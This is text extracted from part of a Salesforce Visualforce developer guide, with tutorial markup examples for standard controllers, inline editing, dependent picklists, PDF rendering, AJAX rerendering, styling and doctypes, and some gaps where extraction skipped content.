Click Save (just above the edit pane) to save your changes and refresh the content of the page.
Click Component Reference to view the documentation for all supported Visualforce components.
Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers, or other
pages.
Click the Collapse button (
) to collapse the development mode footer panel. Click the Expand button (
Click the Disable Development Mode button ( ) to turn off development mode entirely. Development mode remains off until
you enable it again from your personal information page in your personal settings.
13
Column
Description
% of Parent
The percent of the overall size that the custom controller, Apex
object, or field contributes to the parent.
Name
Size
The view state size of the custom controller, Apex object, or field.
Type
Value
The Name column contains nodes defining the various parts of your Visualforce page. They are (in alphabetical order):
Node
Description
Component Tree
This represents the overall structure of your page. Its size is affected
by the number of components you have on the page. Generally,
fewer components means a smaller component tree, which could
result in faster load times. You can see how much of your view
state size is made up from the component tree by clicking the
View State folder.
Internal
Expressions
State
View State
This folder contains all the nodes. By clicking on it, you can find
overall information about your Visualforce page's view state. The
Capacity tab tells you how much of your allotted view state size is
being used. If you exceed that amount, the graph will also tell you
how many kilobytes you've gone over.
14
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
To make the search operation case sensitive, select the Match Case option.
To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
(
Removes a tab
CTRL+f
Opens the search dialog or searches for the next occurrence of the current search
CTRL+r
Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string
CTRL+g
15
CHAPTER 3
To showcase the essential elements of Visualforce, this chapter includes a set of examples that demonstrate features of the language.
While the examples do not go into every detail, rule, or exception for every tag or controller, new Visualforce developers can use this
tutorial to understand how Visualforce works before proceeding to the more detailed descriptions in the remainder of this guide.
The examples are broken up into beginner and advanced sections. The beginner examples primarily use Visualforce markup. The advanced
examples use Force.com Apex code in addition to Visualforce markup.
Advanced examples that require Apex are in their own chapter.
For example, if you want to create a page called HelloWorld and your Salesforce organization uses na3.salesforce.com, enter
http://na3.salesforce.com/apex/HelloWorld.
16
Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page. Click Create
Page <myNewPageName> to create it automatically.
Note: If you do not have Visualforce development mode enabled, you can also create a new page from Setup by entering
Visualforce Pages in the Quick Find box, then selecting Visualforce Pages, and then clicking New.
Visualforce pages can always be edited from this part of setup, but to see the results of your edits you have to navigate to the URL
of your page. For that reason, most developers prefer to work with development mode enabled so they can view and edit pages
in a single window.
A New Visualforce Page
You now have a Visualforce page that includes default text. To edit your new page, click the Page Editor bar that appears at the bottom
of the browser. It expands to show you the following Visualforce markup:
<apex:page>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Apex Page: HelloWorld
<!-- End Default Content REMOVE THIS -->
</apex:page>
This default markup includes the only required tag for any page the <apex:page> tag that begins and ends any page markup.
Embedded within the start and close <apex:page> tags is plain text, some of which is formatted with a standard HTML tag, <h1>.
As long as you keep the required <apex:page> tag you can add as much plain text or valid HTML to this page as you want. For
example, after entering the following code and clicking Save in the Page Editor, the page displays the text Hello World! in bold:
<apex:page>
<b>Hello World!</b>
</apex:page>
Tip: Pay attention to warningsthe Visualforce editor displays a warning if you save a page with HTML that does not include a
matching end tag for every opened tag. Although the page saves, this malformed HTML might cause problems in your rendered
page.
17
$User is a global variable that always represents the current user record. All global variables are referenced with a $ symbol. For a list
of global variables that you can use in Visualforce, see Global Variables on page 602.
To access fields from a record that is not globally available, like a specific account, contact, or custom object record, you need to associate
your page with a controller. Controllers provide pages with the data and business logic that make your application run, including the
logic that specifies how to access a particular object's records. While you can define a custom controller for any page with Apex, Salesforce
includes standard controllers for every standard and custom object.
For example, to use the standard controller for accounts, add the standardController attribute to the <apex:page> tag,
and assign it the name of the account object:
<apex:page standardController="Account">
Hello {!$User.FirstName}!
</apex:page>
After you save your page, the Accounts tab is highlighted for the page, and the look-and-feel for the components on the page match
the Accounts tab. Additionally, you can now access fields on the account record currently in context by using
{!account.<fieldName>} expression syntax.
For example, to display an account's name on a page, use {!account.name} in the page markup:
<apex:page standardController="Account">
Hello {!$User.FirstName}!
<p>You are viewing the {!account.name} account.</p>
</apex:page>
The {!account.name} expression makes a call to the getAccount() method in the standard Account controller to return the
record ID of the account currently in context. It then uses dot notation to access the name field for that record.
Note: You cannot access parent objects using this expression language. In other words, {!account.parent.name} will
return an error.
Note: When you save a page, the value attribute of all input components<apex:inputField>, <apex:inputText>,
and so onis validated to ensure its a single expression, with no literal text or white space, and is a valid reference to a single
controller method or object property. An error will prevent saving the page.
To bring an account record into the current context, you must add a query parameter to the page URL that specifies the ID of the record.
To do this:
1. Find the ID of an account by any means you wish. One easy way is to view the detail page of an account record and copy the character
code at the end of the URL. For example, if you navigate to an account detail page with the following URL:
https://na3.salesforce.com/001D000000IRt53
18
2. Back on your page, add the account ID as a query string parameter to the URL in your browser's address bar. For example, if your
page is located at:
https://na3.salesforce.com/apex/HelloWorld2
Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
Once an account ID is specified in the URL, the page displays the appropriate account name, as shown in the following figure.
Displaying Account Data in a Visualforce Page
19
Tags also exist for other common Salesforce interface components, such as related lists, detail pages, and input fields. For example, to
add the content of a detail page, use the <apex:detail> component tag:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are viewing the {!account.name} account.
</apex:pageBlock>
<apex:detail/>
</apex:page>
Without any specified attributes on the tag, <apex:detail> displays the complete detail view for the context record. If you want
to modify properties such as which record details are displayed, or whether related lists or the title appear, you can use attributes on the
tag. For example, the following markup displays the details of the context account's owner, without related lists or a colored title bar:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
20
To browse the component library, click Component Reference in the Page Editor. From this page you can drill down into any component
to see the attributes that are available for each, including any custom components that you define.
SEE ALSO:
Standard Component Reference
21
4. Replace the existing code with the following and click Save:
<apex:page standardController="Account" showHeader="true"
tabStyle="account" >
<style>
.activeTab {background-color: #236FBD; color:white;
background-image:none}
.inactiveTab { background-color: lightgrey; color:black;
background-image:none}
</style>
<apex:tabPanel switchType="client" selectedTab="tabdetails"
id="AccountTabPanel" tabClass='activeTab'
inactiveTabClass='inactiveTab'>
<apex:tab label="Details" name="AccDetails" id="tabdetails">
<apex:detail relatedList="false" title="true"/>
</apex:tab>
<apex:tab label="Contacts" name="Contacts" id="tabContact">
<apex:relatedList subject="{!account}" list="contacts" />
</apex:tab>
<apex:tab label="Opportunities" name="Opportunities"
id="tabOpp">
<apex:relatedList subject="{!account}"
list="opportunities" />
</apex:tab>
<apex:tab label="Open Activities" name="OpenActivities"
id="tabOpenAct">
<apex:relatedList subject="{!account}"
list="OpenActivities" />
</apex:tab>
<apex:tab label="Notes and Attachments"
name="NotesAndAttachments" id="tabNoteAtt">
<apex:relatedList subject="{!account}"
list="CombinedAttachments" />
</apex:tab>
</apex:tabPanel>
</apex:page>
5. Notice that there is no data in the Account page. You need to specify the ID of a particular account in the URL, as you've done with
previous pages, for example, https://Salesforce_instance/apex/tabbedAccount?id=001D000000IRt53.
After you add in an account ID, your page should display as follows:
22
While the rest of the tabs use the <apex:relatedList> to specify the different parts of the account page. The following is
the tab for contacts. It uses an existing list of contacts.
<apex:tab label="Contacts" name="Contacts" id="tabContact">
<apex:relatedList subject="{!account}" list="contacts" />
</apex:tab>
Now that you've created a page to display an account with tabs, you can use this page to override the detail view for all accounts.
1. From the object management settings for accounts, go to Buttons, Links, and Actions.
2. Click Edit next to View.
3. For Override With select Visualforce Page.
4. From the Visualforce Page drop-down list, select tabbedAccount.
5. Click Save.
23
Click the Account tab, and select any account. The detail for the account is now displayed with tabs.
SEE ALSO:
Salesforce Help: Find Object Management Settings
The Visualforce page can also refer to other standard objects, such as contacts, by changing the reference to the standard object. For
example:
<apex:page action="{!URLFOR($Action.Contact.List, $ObjectType.Contact)}"/>
24
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
<apex:page standardController="Account">
<apex:form>
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are viewing the {!account.name} account. <p/>
Change Account Name: <p/>
<apex:inputField value="{!account.name}"/> <p/>
<apex:commandButton action="{!save}" value="Save New Account Name"/>
</apex:pageBlock>
</apex:form>
</apex:page>
The only fields that the <apex:inputField> tag cannot display are those defined as member variables of a custom controller
class written in Apex. To gather data for these variables, use the <apex:inputCheckbox>, <apex:inputHidden>,
<apex:inputSecret>, <apex:inputText>, or <apex:inputTextarea> tags instead.
25
object field label by default. To override the default value, and for components that arent mapped directly to object fields, you can set
the label using the label attribute of the component. For example:
<apex:page standardController="Contact">
<apex:form>
<apex:pageBlock title="Quick Edit: {!Contact.Name}">
<apex:pageBlockSection title="Contact Details" columns="1">
<apex:inputField value="{!Contact.Phone}"/>
<apex:outputField value="{!Contact.MobilePhone}"
label="Mobile #"/>
<apex:inputText value="{!Contact.Email}"
label="{!Contact.FirstName + 's Email'}"/>
</apex:pageBlockSection>
<apex:pageBlockButtons >
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
</apex:pageBlock>
</apex:form>
</apex:page>
Note: For this page to display contact data, the ID of a valid contact record must be specified as a query parameter in the URL for
the page. For example,
https://Salesforce_instance/apex/myPage?id=003D000000Q513R
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
The label attribute may be a string, or an expression that evaluates to a string. If you set label to an empty string, the form label
for that field will be suppressed.
The label attribute can be set on the following Visualforce components:
<apex:inputCheckbox>
<apex:inputField>
<apex:inputSecret>
<apex:inputText>
<apex:inputTextarea>
<apex:outputField>
26
<apex:outputText>
<apex:selectCheckboxes>
<apex:selectList>
<apex:selectRadio>
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter
in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
Notice that when you display this page and press TAB, the active field changes in the reverse order than you would normally expect.
27
an expression which evaluates to an integer value in the same range. The tab order begins with component 0 being the first component
selected when a user presses TAB.
The tabOrderHint attribute is available on only the <apex:inputField> component. The tabIndex attribute can be set
on the following Visualforce components.
<apex:commandButton>
<apex:commandLink>
<apex:inputCheckbox>
<apex:inputFile>
<apex:inputSecret>
<apex:inputText>
<apex:inputTextarea>
<apex:outputLabel>
<apex:outputLink>
<apex:selectCheckboxes>
<apex:selectList>
<apex:selectRadio>
When mixing <apex:inputField> with components that use the tabIndex attribute to set the tab order, you can multiply
the tabOrderHint by 10 to get the approximate equivalent value of the tabIndex for that field. Use this to manually calculate
equivalent values to set the appropriate attribute on each of the components in such a way as to set the desired tab order for all elements
on the page.
28
You can disregard any other Industry types that arent shown above.
7. Click Save.
Now, create a Visualforce page called dependentPicklists that looks like this:
<apex:page standardController="Account">
<apex:form >
<apex:pageBlock mode="edit">
<apex:pageBlockButtons >
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="Dependent Picklists" columns="2">
<apex:inputField value="{!account.industry}"/>
<apex:inputField value="{!account.subcategories__c}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
When you select Agriculture from the Industry picklist, the Subcategories picklist contains Apple Farms, Corn Fields, and Winery. If you
select Communication, your Subcategories picklist contains all the Communication types defined earlier.
29
If the user viewing the page has read-only access to the controlling field, a dependent picklist might not behave as expected. In
this case, the dependent picklist shows all possible values for the picklist, instead of being filtered on the read-only value. This is a
known limitation in Visualforce.
Pages must include the controlling field for a dependent picklist. Failing to include the controlling field on the page causes a runtime
error when the page displays.
Dont mix inline edit-enabled fields with regular input fields from the same dependency group. For example, dont mix a standard
input field for a controlling field with an inline edit-enabled dependent field:
<apex:page standardController="Account">
<apex:form>
<!-- Don't mix a standard input field... -->
<apex:inputField value="{!account.Controlling__c}"/>
<apex:outputField value="{!account.Dependent__c}">
<!-- ...with an inline-edit enabled dependent field -->
<apex:inlineEditSupport event="ondblClick" />
</apex:outputField>
</apex:form>
</apex:page>
If you combine inline edit-enabled dependent picklists with Ajax-style partial page refreshes, refresh all fields with dependent or
controlling relationships to each other as one group. Refreshing fields individually isnt recommended and might result in inconsistent
undo/redo behavior. Heres an example of the recommended way to partially refresh a form with inline edit-enabled dependent
picklists:
<apex:form>
<!-- other form elements ... -->
<apex:outputPanel id="locationPicker">
<apex:outputField value="{!Location.country}">
<apex:inlineEditSupport event="ondblClick" />
</apex:outputField>
<apex:outputField value="{!Location.state}">
<apex:inlineEditSupport event="ondblClick" />
</apex:outputField>
<apex:outputField value="{!Location.city}">
<apex:inlineEditSupport event="ondblClick" />
</apex:outputField>
</apex:outputPanel>
<!-- ... -->
<apex:commandButton value="Refresh Picklists" reRender="locationPicker" />
</apex:form>
All of the inline edit-enabled picklists are wrapped in the <apex:outputPanel> component. The <apex:outputPanel>
rerenders when the <apex:commandButton> action method fires.
SEE ALSO:
Salesforce Help: Find Object Management Settings
30
31
For a more complex example that uses a custom list controller, see Advanced Visualforce Dashboard Components on page 130.
For this page to display the related list data, the ID of a valid custom object record with a custom relationship must be specified as a
query parameter in the URL for the page, for example,
http://na3.salesforce.com/myCustomRelatedList?id=a00x00000003ij0.
Although MyLookupObject uses a different type of relationship, the syntax is identical:
<apex:page standardController="MyLookupObject__c">
<apex:relatedList list="MyChildObjects__r" />
</apex:page>
32
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter
in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
Try to double-click one of the fields, like Account Number. Youll notice that nothing happens.
Now, replace the page with the following code:
<apex:page standardController="Account">
<apex:detail subject="{!account.Id}" relatedList="false" inlineEdit="true"/>
</apex:page>
Hover over any of the fields, and youll notice that you can now edit their contents directly. Clicking Save at the top of the section
preserves all your changed information. Components that support inline editing must always be descendants of the <apex:form>
tag. However, the <apex:detail> component doesnt have to be a descendant of an <apex:form> to support inline editing.
The <apex:inlineEditSupport> component must be a descendant of the following components:
<apex:dataList>
<apex:dataTable>
<apex:form>
<apex:outputField>
<apex:pageBlock>
<apex:pageBlockSection>
<apex:pageBlockTable>
<apex:repeat>
Heres a sample that demonstrates how you can create a page using <apex:pageBlockTable> that makes use of inline editing:
<apex:page standardController="Account" recordSetVar="records" id="thePage">
<apex:form id="theForm">
<apex:pageBlock id="thePageBlock">
<apex:pageBlockTable value="{!records}" var="record" id="thePageBlockTable">
<apex:column >
<apex:outputField value="{!record.Name}" id="AccountNameDOM" />
<apex:facet name="header">Name</apex:facet>
</apex:column>
<apex:column >
<apex:outputField value="{!record.Type}" id="AccountTypeDOM" />
<apex:facet name="header">Type</apex:facet>
</apex:column>
<apex:column >
<apex:outputField value="{!record.Industry}"
id="AccountIndustryDOM" />
<apex:facet name="header">Industry</apex:facet>
</apex:column>
<apex:inlineEditSupport event="ondblClick"
showOnEdit="saveButton,cancelButton" hideOnEdit="editButton" />
</apex:pageBlockTable>
<apex:pageBlockButtons >
<apex:commandButton value="Edit" action="{!save}" id="editButton" />
33
34
</apex:outputField>
</apex:form>
</apex:page>
If you combine inline edit-enabled dependent picklists with Ajax-style partial page refreshes, refresh all fields with dependent or
controlling relationships to each other as one group. Refreshing fields individually isnt recommended and might result in inconsistent
undo/redo behavior. Heres an example of the recommended way to partially refresh a form with inline edit-enabled dependent
picklists:
<apex:form>
<!-- other form elements ... -->
<apex:outputPanel id="locationPicker">
<apex:outputField value="{!Location.country}">
<apex:inlineEditSupport event="ondblClick" />
</apex:outputField>
<apex:outputField value="{!Location.state}">
<apex:inlineEditSupport event="ondblClick" />
</apex:outputField>
<apex:outputField value="{!Location.city}">
<apex:inlineEditSupport event="ondblClick" />
</apex:outputField>
</apex:outputPanel>
<!-- ... -->
<apex:commandButton value="Refresh Picklists" reRender="locationPicker" />
</apex:form>
All of the inline edit-enabled picklists are wrapped in the <apex:outputPanel> component. The <apex:outputPanel>
rerenders when the <apex:commandButton> action method fires.
Visualforce pages rendered as PDFs will either display in the browser or download as a PDF file, depending on your browser settings.
In the previous tutorial, you used a Visualforce page to change the name of a company. Suppose you wanted to generate an announcement
of the new name as a PDF. The following example produces such a page, along with the current date and time.
<apex:page standardController="Account" renderAs="pdf" applyBodyTag="false">
<head>
<style>
body { font-family: 'Arial Unicode MS'; }
.companyName { font: bold 30px; color: red; }
</style>
</head>
<body>
<center>
<h1>New Account Name!</h1>
<apex:panelGrid columns="1" width="100%">
35
Always verify the format of your rendered page before deploying it.
SEE ALSO:
Render a Visualforce Page as a PDF File
Visualforce PDF Rendering Considerations and Limitations
36
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter
in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
The <apex:pageBlockTable> Component
Like other iteration components, <apex:pageBlockTable> includes two required attributes, value and var:
value takes a list of sObject records or values of any other Apex type. In the example above, {!account.Contacts} retrieves
the ID of the account that is currently in context and then traverses the relationship to retrieve the list of the associated contacts.
37
var specifies the name of the iteration variable. This variable is used within the body of the <apex:pageBlockTable> tag
to access the fields on each contact. In this example, value="{!contact.Name}" is used on the <apex:column> tag
to display the name of the contact.
The <apex:pageBlockTable> component takes one or more child <apex:column> components. The number of rows in
the table is controlled by the number of records returned with the value attribute.
Note: The <apex:pageBlockTable> component automatically takes on the styling of a standard Salesforce list. To display
a list with your own styling, use <apex:dataTable> instead.
Note: If you have an ID attribute in the URL, this page does not display correctly. For example,
https://c.na1.visual.soma.force.com/apex/HelloWorld?id=001D000000IR35T produces an error.
38
For example, suppose you want to add detail information about a specific contact to an Account page. The account record ID is specified
by the default id query string parameter, and the contact record ID is specified by the query string parameter named cid:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are displaying values from the {!account.name} account and a separate contact
that is specified by a query string parameter.
</apex:pageBlock>
<apex:pageBlock title="Contacts">
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1">
<apex:column>
<apex:facet name="header">Name</apex:facet>
{!contact.Name}
</apex:column>
<apex:column>
<apex:facet name="header">Phone</apex:facet>
{!contact.Phone}
</apex:column>
</apex:dataTable>
39
</apex:pageBlock>
<apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false" title="false"/>
</apex:page>
For this example to render properly, you must associate the Visualforce page with valid account and contact IDs in the URL. For example,
if 001D000000IRt53 is the account ID and 003D000000Q0bIE is the contact ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53&cid=003D000000Q0bIE
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
Using Query String Parameters in a Page
40
The latter method, which uses <apex:param> tags instead of manually creating the URL, is preferable for stylistic reasons.
Note: In addition to <apex:outputLink>, use <apex:param> to set request parameters for <apex:commandLink>,
and <apex:actionFunction>.
41
</apex:form>
</apex:pageBlock>
<apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false" title="false"/>
</apex:page>
After saving this markup, refresh your browser with the id query string parameter but without the cid parameter in the URL For
example,
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
Initially the contact detail page is not rendered, but when you click a contact name the page renders the appropriate detail view.
Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
SEE ALSO:
Controller Methods
42
After saving the page, click any contact and notice how the detail component displays without a complete page refresh.
Note: You cannot use the reRender attribute to update content in a table.
43
</apex:pageBlock>
<apex:pageBlock title="Contacts">
<apex:form>
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4"
border="1">
<apex:column>
<apex:commandLink rerender="detail">
{!contact.Name}
<apex:param name="cid" value="{!contact.id}"/>
</apex:commandLink>
</apex:column>
</apex:dataTable>
</apex:form>
</apex:pageBlock>
<apex:outputPanel id="detail">
<apex:actionStatus startText="Requesting...">
<apex:facet name="stop">
<apex:detail subject="{!$CurrentPage.parameters.cid}"
relatedList="false" title="false"/>
</apex:facet>
</apex:actionStatus>
</apex:outputPanel>
</apex:page>
Remember when you visit this page, to include an ID as part of the URL. For example,
https://Salesforce_instance/apex/ajaxAsyncStatus?id=001x000xxx3Jsxb
44
<apex:pageBlock title="Contacts">
<apex:form>
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4"
border="1">
<apex:column>
<apex:outputPanel>
<apex:actionSupport event="onmouseover" rerender="detail">
<apex:param name="cid" value="{!contact.id}"/>
</apex:actionSupport>
{!contact.Name}
</apex:outputPanel>
</apex:column>
</apex:dataTable>
</apex:form>
</apex:pageBlock>
<apex:outputPanel id="detail">
<apex:actionStatus startText="Requesting...">
<apex:facet name="stop">
<apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false"
title="false"/>
</apex:facet>
</apex:actionStatus>
</apex:outputPanel>
</apex:page>
After saving the page, move the mouse over any contact and notice that the detail area refreshes appropriately without clicking on it.
SEE ALSO:
Using JavaScript in Visualforce Pages
45
CHAPTER 4
Visualforce pages and components output HTML thats sent to the browser for rendering. Visualforces HTML generation is sophisticated,
automatically providing page structure, contents, and styling. Visualforce also provides a number of ways to alter Visualforces default
HTML, substitute your own, or associate additional resources, such as CSS stylesheets or JavaScript files, with a page.
46
This example references a style sheet that is defined as a static resource. First, create a style sheet and upload it as a static resource named
customCSS.
h1 { color: #f00; }
p { background-color: #eec; }
newLink { color: #f60; font-weight: bold; }
Tip: If youre not using Salesforce styles, you can shrink your page size by preventing the standard Salesforce style sheets from
loading. To prevent loading, set the standardStylesheets attribute on the <apex:page> component to false.
<apex:page standardStylesheets="false">
<!-- page content here -->
</apex:page>
If you dont load the Salesforce style sheets, components that require them dont display correctly.
Visualforce components that produce HTML have pass-through style and styleClass attributes. These attributes allow you to
use your own styles and style classes to control the look and feel of the resulting HTML. style allows you to set styles directly on a
47
component, while styleClass lets you attach classes for styles defined elsewhere. For example, the following code sets the class
of the <apex:outputText> and applies a style.
<apex:page>
<style type="text/css">
.asideText { font-style: italic; }
</style>
<apex:outputText style="font-weight: bold;"
value="This text is styled directly."/>
<apex:outputText styleClass="asideText"
value="This text is styled via a stylesheet class."/>
</apex:page>
To apply a style using a DOM ID, use CSS attribute selectors for the style definition. See Defining Styles for a Components DOM ID on
page 49.
If you intend to use images in your style sheet, zip the images with the CSS file, and upload the file as a single static resource. For example,
suppose your CSS file has a line like the following.
body { background-image: url("images/dots.gif") }
Combine the entire images directory and the parent CSS file into a single zip file. In this example, the zip file resource name is myStyles.
<apex:stylesheet value="{!URLFOR($Resource.myStyles, 'styles.css')}"/>
Warning: If a style sheet has an empty string in a url value, you cant render that page as a PDF. For example, the style rule
body { background-image: url(""); } prevents any page that includes the rule from being rendered as a PDF.
48
Note: If you dont load the Salesforce style sheets, components that require them dont display correctly.
Setting this attribute to false has no effect if showHeader isnt also set to false.
Your CSS should take this into consideration by using an attribute selector:
<apex:page>
<style type="text/css">
[id*=myId] { font-weight: bold; }
</style>
<apex:outputText id="myId" value="This is way fancy !"/>
</apex:page>
This selector matches any DOM ID that contains myId anywhere within the ID, so the id you set on a Visualforce component should
be unique on the page if you intend to use it for styling purposes.
49
50
Notice that although $User.UITheme equals Theme3, $User.UIThemeDisplayed doesnt, and so the page wont render
to its full potential.
<!--[if lt IE 7]>
<script type="text/javascript"
src="{!URLFOR($Resource.BrowserCompatibility, 'js/obsolete-ie-shim.js')}>
</script>
<link rel="stylesheet" type="text/css"
href="{!URLFOR($Resource.BrowserCompatibility, 'css/ie-old-styles.css')}"
/>
<![endif]-->
<!--[if IE 7]>
<link rel="stylesheet" type="text/css"
href="{!URLFOR($Resource.BrowserCompatibility, 'css/ie7-styles.css')}" />
<![endif]-->
</head>
<body>
<h1>Browser Compatibility</h1>
<p>It's not just a job. It's an adventure.</p>
</body>
</apex:page>
Visualforce doesnt support or evaluate Visualforce tags, for example, <apex:includeScript/>, within standard HTML comments.
However, it will evaluate the following expressions within IE conditional comments:
Global variables, such as $Resource and $User
The URLFOR() function
See Microsofts documentation for Internet Explorer conditional comments for further details of how to use them.
51
52
<body>
<header>
<h1>Congratulations!</h1>
</header>
<article>
<p>This page looks almost like HTML5!</p>
</article>
</body>
</html>
</apex:page>
The attributes act independently of each other; you can use them in any combination of true, false, or unset. When both attributes
are set to true, the default, automatic generation of <html> and <body> tags is preserved. When either is set to false, you are
fully responsible for adding the corresponding tags to your markup. In this mode, Visualforce wont prevent you from creating nonsense
tag combinations or attributes that give even modern browsers fits.
Note: A <head> section is always generated if required, regardless of the values for applyHtmlTag and applyBodyTag.
For example, a <head> tag is generated if you use <apex:includeScript> or <apex:stylesheet> tags, set the
page title, and so on.
Theres one exception to this rule. If applyHtmlTag is set to false and there are no other elements in the page except for
<apex:includeScript>, no <head> is generated. For example, the following code automatically adds <body> tags,
but doesnt add a <head> section:
<apex:page showHeader="false" applyHtmlTag="false">
<html>
<apex:includeScript
value="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"/>
</html>
</apex:page>
53
title="Unused Title">
<html>
<head>
<title>HTML5 Container Page</title>
</head>
<body>
<h1>An Almost Empty Page</h1>
<p>This is a very simple page.</p>
</body>
</html>
</apex:page>
The <apex:page> component and its attributes is the core of a container pages definition.
docType="html-5.0" sets the page to use the modern HTML5 docType.
applyHtmlTag="false" and applyBodyTag="false" tell Visualforce that your markup supplies the <html> and
<body> tags so that it doesnt generate its own.
Note: When you set applyHtmlTag or applyBodyTag to false, the title attribute of the <apex:page>
component is ignored.
The showHeader="false", sidebar="false", and standardStylesheets="false" attributes suppress the
standard header, sidebar, and style sheets that add the Salesforce user interface and visual design to Visualforce pages.
The <head> tag isnt required in a container page, but its a good idea to include it. If you need to add values to the <head> element,
you must add the <head> tag yourself. In that case, Visualforce adds any of its required values to your <head>. Otherwise, Visualforce
renders its own <head> to add any necessary values.
You can use Visualforce components, such as <apex:includeScript>, <apex:stylesheet>, and <apex:image>, to
reference static resources on the page. The output of <apex:includeScript> and <apex:stylesheet> is added to the
<head> element. If you didnt include one, Visualforce adds its own. The <apex:image> output is rendered wherever you place
it on the page.
Note: An empty Visualforce page renders the minimum amount of HTML markup, but it isnt completely empty, or free of
resources you dont control. JavaScript code thats essential for Visualforce, such as instrumentation, is still added. Visualforce also
automatically adds resources required for markup you add. For example, references to Remote Objects or JavaScript remoting
resources, if you use them in your code.
You can specify a different doctype for a Visualforce page by using the docType attribute on the <apex:page> tag.
54
The docType attribute takes a string representing the document type. The format of the string is:
<doctype>-<version>[-<variant>]
where
doctype is either html or xhtml
version is a decimal version number valid for the doctype
variant, if included, is:
strict, transitional, or frameset for all html document types and the xhmtl-1.0 document type, or
<blank> or basic for the xhmtl-1.1 document type
If an invalid document type is specified, the default doctype is used. For more information about valid HTML doctypes, see the list at the
W3C website.
Note: In API 28.0 and greater, the scope of how the docType is determined for a page depends on the entire page hierarchy,
not just the main page. When pages are added to the main page using the <apex:include> tag, if any page in the hierarchy
is set to docType="html-5.0", the entire page hierarchy is rendered in that mode.
Note: Visualforce doesnt alter markup generated by components to match the doctype, nor the markup for standard Salesforce
elements such as the header and sidebar. Salesforce elements are valid for most doctypes and function properly with any doctype,
but if you choose a strict doctype and wish to pass an HTML validation test, you might need to suppress or replace the standard
Salesforce elements.
55
To display this page in Excel, add the contentType attribute to the <apex:page> tag, as follows:
<apex:page standardController="Account" contentType="application/vnd.ms-excel">
<apex:pageBlock title="Contacts">
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
<apex:column value="{!contact.Name}"/>
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
If the page doesnt display properly in Excel, try a different MIME type, such as text/csv.
56
</apex:outputPanel>
<apex:outputPanel layout="block" html-data-role="panel" html-data-id="main">
<apex:insert name="main"/>
</apex:outputPanel>
</apex:page>
Every attribute that begins with html- is passed through to the resulting HTML, with the html- removed.
Note: Pass-through attributes that conflict with built-in attributes for the component generate a compilation error.
Pass-through attributes are supported by the following Visualforce components.
<apex:column>
<apex:commandButton>
<apex:commandLink>
<apex:component>
<apex:dataTable>
<apex:form>
<apex:iframe>
<apex:image>
<apex:includeScript>
<apex:input>
<apex:inputCheckbox>
<apex:inputField>
<apex:inputHidden>
<apex:inputSecret>
<apex:inputText>
<apex:inputTextarea>
<apex:messages>
<apex:outputField>
<apex:outputLabel>
<apex:outputLink>
57
<apex:outputPanel>
<apex:outputText>
<apex:page>
<apex:pageBlock>
<apex:pageBlockButtons>
<apex:pageBlockSection>
<apex:pageBlockSectionItem>
<apex:pageBlockTable>
<apex:panelBar>
